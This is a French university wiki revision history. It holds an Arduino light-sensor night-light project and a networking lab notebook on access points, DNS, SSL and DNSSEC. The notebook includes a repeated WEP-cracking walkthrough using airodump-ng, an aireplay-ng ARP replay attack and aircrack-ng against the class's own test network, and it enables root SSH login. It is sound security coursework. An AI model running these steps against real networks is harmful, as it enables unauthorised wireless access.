Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Les valeurs en retour:

Illuminance Example
0.002 lux Moonless clear night sky
0.2 lux Design minimum for emergency lighting (AS2293).
0.27 - 1 lux Full moon on a clear night
3.4 lux Dark limit of civil twilight under a clear sky
50 lux Family living room
80 lux Hallway/toilet
100 lux Very dark overcast day
300 - 500 lux Sunrise or sunset on a clear day. Well-lit office area.
1,000 lux Overcast day; typical TV studio lighting
10,000 - 25,000 lux Full daylight (not direct sun)
32,000 - 130,000 lux Direct sunlight

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

==Détail du travail de la troisième séance==

==Détail du travail de la quatrième séance==

==Détail du travail de la cinquième séance==

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-08T17:52:43Z

Bhagui : /* Détail du travail de la première séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce pour pouvoir charger sa batterie grâce à un chargeur solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT.

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur lequel sera monté des panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de détecter l'endroit le plus lumineux. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux de récupérer de l'énergie et la transmettre à...

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* capteur de lumière

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| activité : - Formation des groupes
- Chercher un sujet
- Le faire valider
|-
! scope="row" | Séance 2 (09/01/2018)
| activité ...
|-
! scope="row" | Séance 3 (16/01/2018)
| activité ...
|-
! scope="row" | Séance 4 (17/01/2018)
| activité ...
|-
! scope="row" | Séance 5 (22/01/2018)
| activité ...
|-
! scope="row" | Séance 6 (24/01/2018)
| activité ...
|}

==Détail du travail de la première séance==

Code pour le capteur de luminosité:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Les valeurs en retour:

Illuminance Example
0.002 lux Moonless clear night sky
0.2 lux Design minimum for emergency lighting (AS2293).
0.27 - 1 lux Full moon on a clear night
3.4 lux Dark limit of civil twilight under a clear sky
50 lux Family living room
80 lux Hallway/toilet
100 lux Very dark overcast day
300 - 500 lux Sunrise or sunset on a clear day. Well-lit office area.
1,000 lux Overcast day; typical TV studio lighting
10,000 - 25,000 lux Full daylight (not direct sun)
32,000 - 130,000 lux Direct sunlight

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

==Détail du travail de la troisième séance==

==Détail du travail de la quatrième séance==

==Détail du travail de la cinquième séance==

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-08T17:24:29Z

Bhagui : /* Détail du travail de la deuxième séance */

P4 IOT 2017

2018-01-08T17:14:04Z

Bhagui : /* Suivi de réalisation */

P4 IOT 2017

2018-01-08T17:12:20Z

Bhagui : /* Description du projet */

P4 IOT 2017

2018-01-08T17:10:02Z

Bhagui : /* Matériel utilisé */

P4 IOT 2017

2018-01-08T17:08:38Z

Bhagui : /* Description du projet */

P4 IOT 2017

2018-01-08T16:37:42Z

Bhagui :

P4 IOT 2017

2018-01-08T16:24:37Z

Bhagui :

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse connecté mobile,

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT.

==Description du projet==

=Réalisation=

==Matériel utilisé==

* Matériel 1
* Matériel 2
* ...

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| activité ...
|-
! scope="row" | Séance 2 (09/01/2018)
| activité ...
|-
! scope="row" | Séance 3 (16/01/2018)
| activité ...
|-
! scope="row" | Séance 4 (17/01/2018)
| activité ...
|-
! scope="row" | Séance 5 (22/01/2018)
| activité ...
|-
! scope="row" | Séance 6 (24/01/2018)
| activité ...
|}

==Détail du travail de la première séance==
Exemple d'inclusion d'image :
[[Fichier:2017_IOT_P0_circuit.png|center|400px|Un circuit]]

==Détail du travail de la deuxième séance==

==Détail du travail de la troisième séance==

==Détail du travail de la quatrième séance==

==Détail du travail de la cinquième séance==

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

Option Internet des objets 2017/2018

2018-01-08T16:24:23Z

Bhagui : /* Répartition des binômes */

= Répartition des binômes =

Ecrivez vos noms sous le format exact "Prénom Nom", séparez vos noms par des virgules. Modifiez aussi l'intitulé de votre projet.

{| class="wikitable"
! Projet !! Elèves
|-
| [[P1_IOT_2017|Plaisir connecté ]] || Benoît Verhaeghe, Simon Fourquez
|-
| [[P2_IOT_2017|Lunettes bien-être]] || Nastassia Kaugarenia, Romain Houppeaux, Edmur Lopes
|-
| [[P3_IOT_2017|Patch connecté pour matériel sportif]] || Maerten Clément, Bouissou Cyprien
|-
| [[P4_IOT_2017|Veilleuse mobile]] || Maher Bencherif, Bacem Hagui
|-
| [[P5_IOT_2017|Intitulé du projet 5]] || Prénom Nom, Prénom Nom
|-
| [[P6_IOT_2017|Intitulé du projet 6]] || Prénom Nom, Prénom Nom
|-
|}

Option Internet des objets 2017/2018

2018-01-08T16:17:14Z

Bhagui : /* Répartition des binômes */

= Répartition des binômes =

Ecrivez vos noms sous le format exact "Prénom Nom", séparez vos noms par des virgules. Modifiez aussi l'intitulé de votre projet.

{| class="wikitable"
! Projet !! Elèves
|-
| [[P1_IOT_2017|Plaisir connecté ]] || Benoît Verhaeghe, Simon Fourquez
|-
| [[P2_IOT_2017|Lunettes bien-être]] || Nastassia Kaugarenia, Romain Houppeaux, Edmur Lopes
|-
| [[P3_IOT_2017|Patch connecté pour matériel sportif]] || Maerten Clément, Bouissou Cyprien
|-
| [[P4_IOT_2017|Veilleuse connecté mobile]] || Maher Bencherif, Bacem Hagui
|-
| [[P5_IOT_2017|Intitulé du projet 5]] || Prénom Nom, Prénom Nom
|-
| [[P6_IOT_2017|Intitulé du projet 6]] || Prénom Nom, Prénom Nom
|-
|}

Cahier 2017 groupe n°3

2017-12-05T23:15:39Z

Bhagui : /* Craquage du mot de passe */

== Configuration des points d'accès wifi ==

=== présentation ===

Schéma du réseau:

[[Fichier:schema_PRA_2017.jpg|800 px|thumb|center|Schéma du réseau du projet]]

Notre objectif est de mettre en place une VM sur le serveur Cordouan et
d'installer les points d'accès wifi pour les autres groupes. On cherchera à faire
un banc de test et de tester la sécurité des chiffrements WEP et WPA.

=== avancement du travail ===

==== séance 1 ====

* Explication du projet
* Répartition du travail dans les différents groupes
* Gestion des adresses ip de chacun

==== séance 2 ====

*Exploration des locaux techniques de Polytech
*Création de la VM Xen sur le serveur Cordouan
*installation des paquetages nécessaires pour ssh, serveur WEB apache2 et le serveur DNS Bind
*Achat du domaine :

==== séance 3 ====

*Mise en place des 2 premiers points d'accès wifi.
*Avancement dans la compréhension de l'utilisation de la clef wifi

==== séance 4 ====

*Mise en place des 5 derniers points d'accès wifi.
*Connexion faite entre la machine avec la clef wifi et le point d'accès.
*Configuration de gandi et de notre serveur dns avec bind9

==== séances supplémentaires ====

*Sécurisation de site web par certificats
*Sécurisation de site web par dnssec
*crackage de wlef WEP

=== Configuration d'un point d'accès===

Commencer par se mettre en mode configuration:
ap>enable
ap#configure terminal
La configuration pour un point d'accès pour une sécurisation WEP est donc:
ap(config)#dot11 ssid tomate
ap(config-ssid)#authentication open
ap(config-ssid)#vlan 8
ap(config-ssid)#mbssid guest-mode
ap(config-ssid)#exit
ap(config)#Interface dot11radio0
ap(config)#ssid tomate
ap(config-ssid)#no shutdown
ap(config-ssid)#Encryption vlan 8 mode wep mandatory
ap(config-ssid)#Encryption vlan 8 key 1 size 128bit 05050505050505050505050505
ap(config-ssid)#End
Écrire les modifications:
ap#write memory
Configurer le sous interface pour Dot11 radio 0 et Ethernet.
ap#configure terminal
ap(config)#interface Dot11Radio0.8
ap(config-subif)#encapsulation dot1Q 8
ap(config-subif)#bridge-group 8
ap(config-subif)#interface GigabitEthernet0.8
ap(config-subif)#encapsulation dot1Q 8
ap(config-subif)#bridge-group 8
ap(config-subif)#end
ap#write memory

=== Craquage de clé WEP ===
==== Établissement de connexion ====
Premièrement il faut s'assurer de l'installation du driver de la clef Wi-fi (présence d'une interface Wi-fi en tapant ''iwconfig''). Dans le cas contraire, il faut installer le driver en suivant la manipulation suivante (l'exemple est pour une clef Netgear):
*Afficher les dispositif connecté à l'ordinateur par USB:
lsusb
*On récupère les informations représentant la clef, ici '''Intersil ISL3887'''.
*Suivant le modèle de puce à disposition, il faut télécharger le driver et l'installer. Dans notre cas nous avons suivi le site suivant [https://wiki.debian.org/fr/prism54]
<pre>
wget https://daemonizer.de/prism54/prism54-fw/fw-usb/2.13.25.0.lm87.arm --no-check-certificate
mv 2.13.25.0.lm87.arm /lib/firmware/isl3887usb
modprobe -r p54usb ; modprobe p54usb
</pre>
*On remarque maintenant que la LED devient bleu et qu'une interface Wi-fi apparaît avec ''iwconfig''.

Une fois le driver installé, on configure le fichier '''/etc/network/interfaces''' pour attribuer une adresse IP static à la machine et pouvoir se connecter sur un des réseaux Wi-fi disponible (ici le réseau banane):
<pre>
auto <nom de l'interface (wlx000fb592236a)>
iface <nom de l'interface> inet static
address <adresse IP qu'on donne à ce réseau (10.2.0.100)>
netmask <masque (255.255.0.0)>
wireless-essid <essid (banane)>
wireless-key <mot de passe Wi-fi (à regarder dans le doc de la promo)>
</pre>
Pour terminer il faut démarrer l'interface Wi-fi pour prendre en compte la nouvelle configuration:
<pre>
ifdown <nom de l'interface>
ifup <nom de l'interface>
</pre>
La connexion doit maintenant être établie.

==== Craquage du mot de passe ====
*La première étape est de générer du trafic sur le réseau (pour avoir des paquets ARP à capturer), pour cela nous avons utilisé la commande ''Nping'':
<pre>
nping --arp-type ARP -c 11000 --flags rst --ttl 2 10.2.0.2

# --arp-type ARP pour préciser que c'est des paquets ARP que l'on veut
# -c 11000 on va envoyer 11000 paquets, cela nous laissera assez de temps pour craquer la clé.
# 10.2.0.2 est l'addresse IP du point d'accès .
</pre>
*Nous allons faire passer la clef Wi-fi en mode moniteur
airmon-ng start wlx000fb592236b (avec wlx000fb592236b le nom de notre clef Wi-fi obtenu avec ''iwconfig'')
*En refaisant un ''iwconfig'', on remarque que le nom de notre clef Wi-fi est maintenant '''wlan0mon'''.
*Il faut maintenant trouver le réseau Wi-fi à craquer. Nous avons besoin des informations suivantes, BSSID, channel (CH) et ESSID.
airodump-ng wlan0mon

[[Fichier:groseilleAirodump-ng.png|600px|thumb|center|Résultat de la commande airodump en filtrant pour le réseau à craquer.]]

*On va maintenant surveiller le réseau et capturer les informations qui circule.
<pre>
airodump-ng --bssid C4:14:3C:40:78:61 -c 3 -w crack_wep wlan0mon
# -c 3 précise que le réseau est sur le channel 3.
# -w crack_wep est le fichier qui va stocker les paquets capturé.
</pre>
*Avec la commande ci-dessous nous allons générer encore plus de trafic sur le réseau pour éviter d'attendre très longtemps d'avoir assez de paquets (#Data).
<pre>
aireplay-ng -3 -b C4:14:3C:40:78:61 -h 00:0F:B5:92:23:6A wlan0mon
# -3 précise un ARP Request Replay Attack.
# 00:0F:B5:92:23:6A étant l'addresse MAC de du premier ordinateur qui connecté sur le réseau.
</pre>
*Une fois que nous avons capturé assez de paquets, étant donné la longueur des clés nous avons capturé environs 30000 paquets, il suffit de craquer la data capturé dans le fichier .cap avec la commande ci-dessous:
aircrack-ng crack_wep-02.cap
[[Fichier:GroseilleCrackWEPsuccessfull.png|600px|thumb|center|Résultat de craquage de clé WEP.]]

=== Partie commune===

==== Création de la VM ====

Pour suivre le thème de la promo qui porte sur les fruits, nous
avons crée une machine virtuelle sur le serveur cordouan qui se nomme IMA5-GROSEILLE.

Cette VM hébergera un site web sécurisé qui se nommera www.groseille.space.

Pour cela on utilisera les commandes :

* xen-create-image pour créer la machine virtuelle
* lv-create pour que les répertoires /var et /home soient sur les partitions LVM de l'hôte.

Une fois la machine virtuelle crée, on créera la session avec:

xl create IMA5-GROSEILLE.cfg
dans le repertoire /etc/xen

et :

xl console IMA5-GROSEILLE
pour accéder à la VM.

==== Mise en place des services internet ====

===== Serveur dns =====

On installe notre outil de serveur web et de serveur de DNS

apt-get install apache2
apt-get install bind9

On se place dans le dossier : /etc/bind et
on crée le fichier : db.groseille.space pour notre adresse ip (193.48.57.183)

[[Fichier:db.groseille.space.png|600px]]

ps : Correction faite après coup : Ajout de la ligne :

IN NS ns6.gandi.net.

Et on spécifie notre zone dans le fichier named.conf.local

[[Fichier:Groseille_named.conf.local.png|600px]]

On redémarre le service pour appliquer les changements:

service bind9 restart

Et on configure le nom de dns sur le site de gandi.
Dans name servers :

DNS1 : ns.groseille.space
DNS2 : ns6.gandi.net

Dans Glue records:

[[Fichier:Groseille_glue_records.png|1000px]]

===== Serveur ssh =====

Pour installer le service, nous installons tout d'abords le package openssh-server

apt-get install openssh-server

Notre utilisateur est root. Il nous faut donc autoriser l'accès directement en root.

vim /etc/ssh/sshd_config

et tapez ou décommentez:

PermitRootLogin yes

On peut donc maintenant se connecter en ssh à notre machine virtuelle en tapant:

ssh root@www.groseille.space

===== Sécurisation de site web par certificats =====

Après avoir naviguer dans les pages de gandi pour sécuriser notre site web via ssl, gandi nous demande un fichier csr.
On le générera comme ceci:

openssl req -nodes -newkey rsa:2048 -sha1 -keyout groseille.space.key -out groseille.space.csr

On remplira par la suite les informations ci-dessous:

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:Nord
Locality Name (eg, city) []:Villeneuve d'ascq
Organization Name (eg, company) [Internet Widgits Pty Ltd]:groseille.space
Organizational Unit Name (eg, section) []:groseille.space
Common Name (e.g. server FQDN or YOUR name) []:groseille.space

En choisissant la troisième option, gandi nous demandait de mettre un fichier à la racine.

[[Fichier:Gandi_3options.png|300px]]

Nous avons donc téléchargé le fichier et collé dans :

var/www/www.groseille.space/.well-known/pki-validation/DE2B588C8156976B90DB59420093DEDC.txt

Seulement, notre site n'était uniquement accessible en www.groseille.space mais pas sans les www.
Après recherches, nous avons donc rajouter une ligne au fichier db.groseille.space dans bind:

@ IN A 193.48.57.183

Notre demande de certificat est toujours en train d'être exécuté.
Cependant, une fois que tout sera validé par gandi, nous nous occuperons des fichier .crt, .pem, .key associés:

cp groseille.space.key /etc/ssl/private/.
cp GandiStandardSSLCA2.pem /etc/ssl/certs/.
cp groseille.space.crt /etc/ssl/certs/.

c_rehash /etc/ssl/certs

On modifiera /etc/apache2/sites-available/000-groseille.space-ssl.conf

[[Fichier:GroseilleApache.png|600px]]

On écrira dans ports.conf de apache :

Listen 80 443

<IfModule ssl_module>
Listen 443
</IfModule>

On activera le module SSL de Apache et notre site avec ces commandes:

a2enmod ssl
a2ensite 000-groseille.space-ssl.conf
service apache2 reload

===== Sécurisation de site web par dnssec =====

On cherchera à sécuriser notre serveur DNS en signant la zone correspondant à notre nom de domaine.

Dans le fichier : named.conf.options on ajoutera l'option:

dnssec-enable yes;

On créera le répertoire groseille.space.dnssec pour y générer les clefs.

Dedans, on créera aussi la clef asymétrique de la zone pour signer les enregistrements.

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE groseille.space
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE groseille.space

On les renommera pour avoir :

groseille.space-ksk.key
groseille.space-ksk.private
groseille.space-zsk.key
groseille.space-zsk.private

On modifiera le fichier /etc/bind/db.groseille.space comme ceci :

$include /etc/bind/groseille.space.dnssec/groseille.space-ksk.key
$include /etc/bind/groseille.space.dnssec/groseille.space-zsk.key

Signature des enregistrements de zone (dans /etc/bind/groseille.space.dnssec)

dnssec-signzone -o groseille.space -k groseille.space-ksk ../db.groseille.space groseille.space-zsk

On modifie pour finir le fichier named.conf.local pour avoir db.groseille.space.signed

Après avoir enregistrer le record sur gandi, on attend que gandi prenne en compte les nouvelles configurations.
On pourra vérifier les modifications grâce aux commandes:

grep 217.70.177.40 /var/log/daemon.log
host -t any groseille.space ns6.gandi.net
for f in /var/log/apache2/access.log.*gz ; do zcat $f | grep -i well ; done

Cahier 2017 groupe n°3

2017-12-05T23:14:05Z

Bhagui : /* Craquage de clé WEP */

== Configuration des points d'accès wifi ==

=== présentation ===

Schéma du réseau:

[[Fichier:schema_PRA_2017.jpg|800 px|thumb|center|Schéma du réseau du projet]]

Notre objectif est de mettre en place une VM sur le serveur Cordouan et
d'installer les points d'accès wifi pour les autres groupes. On cherchera à faire
un banc de test et de tester la sécurité des chiffrements WEP et WPA.

=== avancement du travail ===

==== séance 1 ====

* Explication du projet
* Répartition du travail dans les différents groupes
* Gestion des adresses ip de chacun

==== séance 2 ====

*Exploration des locaux techniques de Polytech
*Création de la VM Xen sur le serveur Cordouan
*installation des paquetages nécessaires pour ssh, serveur WEB apache2 et le serveur DNS Bind
*Achat du domaine :

==== séance 3 ====

*Mise en place des 2 premiers points d'accès wifi.
*Avancement dans la compréhension de l'utilisation de la clef wifi

==== séance 4 ====

*Mise en place des 5 derniers points d'accès wifi.
*Connexion faite entre la machine avec la clef wifi et le point d'accès.
*Configuration de gandi et de notre serveur dns avec bind9

==== séances supplémentaires ====

*Sécurisation de site web par certificats
*Sécurisation de site web par dnssec
*crackage de wlef WEP

=== Configuration d'un point d'accès===

Commencer par se mettre en mode configuration:
ap>enable
ap#configure terminal
La configuration pour un point d'accès pour une sécurisation WEP est donc:
ap(config)#dot11 ssid tomate
ap(config-ssid)#authentication open
ap(config-ssid)#vlan 8
ap(config-ssid)#mbssid guest-mode
ap(config-ssid)#exit
ap(config)#Interface dot11radio0
ap(config)#ssid tomate
ap(config-ssid)#no shutdown
ap(config-ssid)#Encryption vlan 8 mode wep mandatory
ap(config-ssid)#Encryption vlan 8 key 1 size 128bit 05050505050505050505050505
ap(config-ssid)#End
Écrire les modifications:
ap#write memory
Configurer le sous interface pour Dot11 radio 0 et Ethernet.
ap#configure terminal
ap(config)#interface Dot11Radio0.8
ap(config-subif)#encapsulation dot1Q 8
ap(config-subif)#bridge-group 8
ap(config-subif)#interface GigabitEthernet0.8
ap(config-subif)#encapsulation dot1Q 8
ap(config-subif)#bridge-group 8
ap(config-subif)#end
ap#write memory

=== Craquage de clé WEP ===
==== Établissement de connexion ====
Premièrement il faut s'assurer de l'installation du driver de la clef Wi-fi (présence d'une interface Wi-fi en tapant ''iwconfig''). Dans le cas contraire, il faut installer le driver en suivant la manipulation suivante (l'exemple est pour une clef Netgear):
*Afficher les dispositif connecté à l'ordinateur par USB:
lsusb
*On récupère les informations représentant la clef, ici '''Intersil ISL3887'''.
*Suivant le modèle de puce à disposition, il faut télécharger le driver et l'installer. Dans notre cas nous avons suivi le site suivant [https://wiki.debian.org/fr/prism54]
<pre>
wget https://daemonizer.de/prism54/prism54-fw/fw-usb/2.13.25.0.lm87.arm --no-check-certificate
mv 2.13.25.0.lm87.arm /lib/firmware/isl3887usb
modprobe -r p54usb ; modprobe p54usb
</pre>
*On remarque maintenant que la LED devient bleu et qu'une interface Wi-fi apparaît avec ''iwconfig''.

Une fois le driver installé, on configure le fichier '''/etc/network/interfaces''' pour attribuer une adresse IP static à la machine et pouvoir se connecter sur un des réseaux Wi-fi disponible (ici le réseau banane):
<pre>
auto <nom de l'interface (wlx000fb592236a)>
iface <nom de l'interface> inet static
address <adresse IP qu'on donne à ce réseau (10.2.0.100)>
netmask <masque (255.255.0.0)>
wireless-essid <essid (banane)>
wireless-key <mot de passe Wi-fi (à regarder dans le doc de la promo)>
</pre>
Pour terminer il faut démarrer l'interface Wi-fi pour prendre en compte la nouvelle configuration:
<pre>
ifdown <nom de l'interface>
ifup <nom de l'interface>
</pre>
La connexion doit maintenant être établie.

==== Craquage du mot de passe ====
*La première étape est de générer du trafic sur le réseau (pour avoir des paquets ARP à capturer), pour cela nous avons utilisé la commande ''Nping'':
<pre>
nping --arp-type ARP -c 11000 --flags rst --ttl 2 10.2.0.2

# --arp-type ARP pour préciser que c'est des paquets ARP que l'on veut
# -c 11000 on va envoyer 11000 paquets, cela nous laissera assez de temps pour craquer la clé.
# 10.2.0.2 est l'addresse IP du point d'accès .
</pre>
*Nous allons faire passer la clef Wi-fi en mode moniteur
airmon-ng start wlx000fb592236b (avec wlx000fb592236b le nom de notre clef Wi-fi obtenu avec ''iwconfig'')
*En refaisant un ''iwconfig'', on remarque que le nom de notre clef Wi-fi est maintenant '''wlan0mon'''.
*Il faut maintenant trouver le réseau Wi-fi à craquer. Nous avons besoin des informations suivantes, BSSID, channel (CH) et ESSID.
airodump-ng (interface)

[[Fichier:groseilleAirodump-ng.png|600px|thumb|center|Résultat de la commande airodump.]]

*On va maintenant surveiller le réseau et capturer les informations qui circule.
<pre>
airodump-ng --bssid C4:14:3C:40:78:61 -c 3 -w crack_wep wlan0mon
# -c 3 précise que le réseau est sur le channel 3.
# -w crack_wep est le fichier qui va stocker les paquets capturé.
</pre>
*Avec la commande ci-dessous nous allons générer encore plus de trafic sur le réseau pour éviter d'attendre très longtemps d'avoir assez de paquets (#Data).
<pre>
aireplay-ng -3 -b C4:14:3C:40:78:61 -h 00:0F:B5:92:23:6A wlan0mon
# -3 précise un ARP Request Replay Attack.
# 00:0F:B5:92:23:6A étant l'addresse MAC de du premier ordinateur qui connecté sur le réseau.
</pre>
*Une fois que nous avons capturé assez de paquets, étant donné la longueur des clés nous avons capturé environs 30000 paquets, il suffit de craquer la data capturé dans le fichier .cap avec la commande ci-dessous:
aircrack-ng crack_wep-02.cap
[[Fichier:GroseilleCrackWEPsuccessfull.png|600px|thumb|center|Résultat de craquage de clé WEP.]]

=== Partie commune===

==== Création de la VM ====

Pour suivre le thème de la promo qui porte sur les fruits, nous
avons crée une machine virtuelle sur le serveur cordouan qui se nomme IMA5-GROSEILLE.

Cette VM hébergera un site web sécurisé qui se nommera www.groseille.space.

Pour cela on utilisera les commandes :

* xen-create-image pour créer la machine virtuelle
* lv-create pour que les répertoires /var et /home soient sur les partitions LVM de l'hôte.

Une fois la machine virtuelle crée, on créera la session avec:

xl create IMA5-GROSEILLE.cfg
dans le repertoire /etc/xen

et :

xl console IMA5-GROSEILLE
pour accéder à la VM.

==== Mise en place des services internet ====

===== Serveur dns =====

On installe notre outil de serveur web et de serveur de DNS

apt-get install apache2
apt-get install bind9

On se place dans le dossier : /etc/bind et
on crée le fichier : db.groseille.space pour notre adresse ip (193.48.57.183)

[[Fichier:db.groseille.space.png|600px]]

ps : Correction faite après coup : Ajout de la ligne :

IN NS ns6.gandi.net.

Et on spécifie notre zone dans le fichier named.conf.local

[[Fichier:Groseille_named.conf.local.png|600px]]

On redémarre le service pour appliquer les changements:

service bind9 restart

Et on configure le nom de dns sur le site de gandi.
Dans name servers :

DNS1 : ns.groseille.space
DNS2 : ns6.gandi.net

Dans Glue records:

[[Fichier:Groseille_glue_records.png|1000px]]

===== Serveur ssh =====

Pour installer le service, nous installons tout d'abords le package openssh-server

apt-get install openssh-server

Notre utilisateur est root. Il nous faut donc autoriser l'accès directement en root.

vim /etc/ssh/sshd_config

et tapez ou décommentez:

PermitRootLogin yes

On peut donc maintenant se connecter en ssh à notre machine virtuelle en tapant:

ssh root@www.groseille.space

===== Sécurisation de site web par certificats =====

Après avoir naviguer dans les pages de gandi pour sécuriser notre site web via ssl, gandi nous demande un fichier csr.
On le générera comme ceci:

openssl req -nodes -newkey rsa:2048 -sha1 -keyout groseille.space.key -out groseille.space.csr

On remplira par la suite les informations ci-dessous:

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:Nord
Locality Name (eg, city) []:Villeneuve d'ascq
Organization Name (eg, company) [Internet Widgits Pty Ltd]:groseille.space
Organizational Unit Name (eg, section) []:groseille.space
Common Name (e.g. server FQDN or YOUR name) []:groseille.space

En choisissant la troisième option, gandi nous demandait de mettre un fichier à la racine.

[[Fichier:Gandi_3options.png|300px]]

Nous avons donc téléchargé le fichier et collé dans :

var/www/www.groseille.space/.well-known/pki-validation/DE2B588C8156976B90DB59420093DEDC.txt

Seulement, notre site n'était uniquement accessible en www.groseille.space mais pas sans les www.
Après recherches, nous avons donc rajouter une ligne au fichier db.groseille.space dans bind:

@ IN A 193.48.57.183

Notre demande de certificat est toujours en train d'être exécuté.
Cependant, une fois que tout sera validé par gandi, nous nous occuperons des fichier .crt, .pem, .key associés:

cp groseille.space.key /etc/ssl/private/.
cp GandiStandardSSLCA2.pem /etc/ssl/certs/.
cp groseille.space.crt /etc/ssl/certs/.

c_rehash /etc/ssl/certs

On modifiera /etc/apache2/sites-available/000-groseille.space-ssl.conf

[[Fichier:GroseilleApache.png|600px]]

On écrira dans ports.conf de apache :

Listen 80 443

<IfModule ssl_module>
Listen 443
</IfModule>

On activera le module SSL de Apache et notre site avec ces commandes:

a2enmod ssl
a2ensite 000-groseille.space-ssl.conf
service apache2 reload

===== Sécurisation de site web par dnssec =====

On cherchera à sécuriser notre serveur DNS en signant la zone correspondant à notre nom de domaine.

Dans le fichier : named.conf.options on ajoutera l'option:

dnssec-enable yes;

On créera le répertoire groseille.space.dnssec pour y générer les clefs.

Dedans, on créera aussi la clef asymétrique de la zone pour signer les enregistrements.

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE groseille.space
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE groseille.space

On les renommera pour avoir :

groseille.space-ksk.key
groseille.space-ksk.private
groseille.space-zsk.key
groseille.space-zsk.private

On modifiera le fichier /etc/bind/db.groseille.space comme ceci :

$include /etc/bind/groseille.space.dnssec/groseille.space-ksk.key
$include /etc/bind/groseille.space.dnssec/groseille.space-zsk.key

Signature des enregistrements de zone (dans /etc/bind/groseille.space.dnssec)

dnssec-signzone -o groseille.space -k groseille.space-ksk ../db.groseille.space groseille.space-zsk

On modifie pour finir le fichier named.conf.local pour avoir db.groseille.space.signed

Après avoir enregistrer le record sur gandi, on attend que gandi prenne en compte les nouvelles configurations.
On pourra vérifier les modifications grâce aux commandes:

grep 217.70.177.40 /var/log/daemon.log
host -t any groseille.space ns6.gandi.net
for f in /var/log/apache2/access.log.*gz ; do zcat $f | grep -i well ; done

Cahier 2017 groupe n°3

2017-12-05T22:34:47Z

Bhagui : /* Crackage du mot de passe du point d'accès (WEP) */

== Configuration des points d'accès wifi ==

=== présentation ===

Schéma du réseau:

[[Fichier:schema_PRA_2017.jpg|800 px|thumb|center|Schéma du réseau du projet]]

Notre objectif est de mettre en place une VM sur le serveur Cordouan et
d'installer les points d'accès wifi pour les autres groupes. On cherchera à faire
un banc de test et de tester la sécurité des chiffrements WEP et WPA.

=== avancement du travail ===

==== séance 1 ====

* Explication du projet
* Répartition du travail dans les différents groupes
* Gestion des adresses ip de chacun

==== séance 2 ====

*Exploration des locaux techniques de Polytech
*Création de la VM Xen sur le serveur Cordouan
*installation des paquetages nécessaires pour ssh, serveur WEB apache2 et le serveur DNS Bind
*Achat du domaine :

==== séance 3 ====

*Mise en place des 2 premiers points d'accès wifi.
*Avancement dans la compréhension de l'utilisation de la clef wifi

==== séance 4 ====

*Mise en place des 5 derniers points d'accès wifi.
*Connexion faite entre la machine avec la clef wifi et le point d'accès.
*Configuration de gandi et de notre serveur dns avec bind9

==== séances supplémentaires ====

*Sécurisation de site web par certificats
*Sécurisation de site web par dnssec
*crackage de wlef WEP

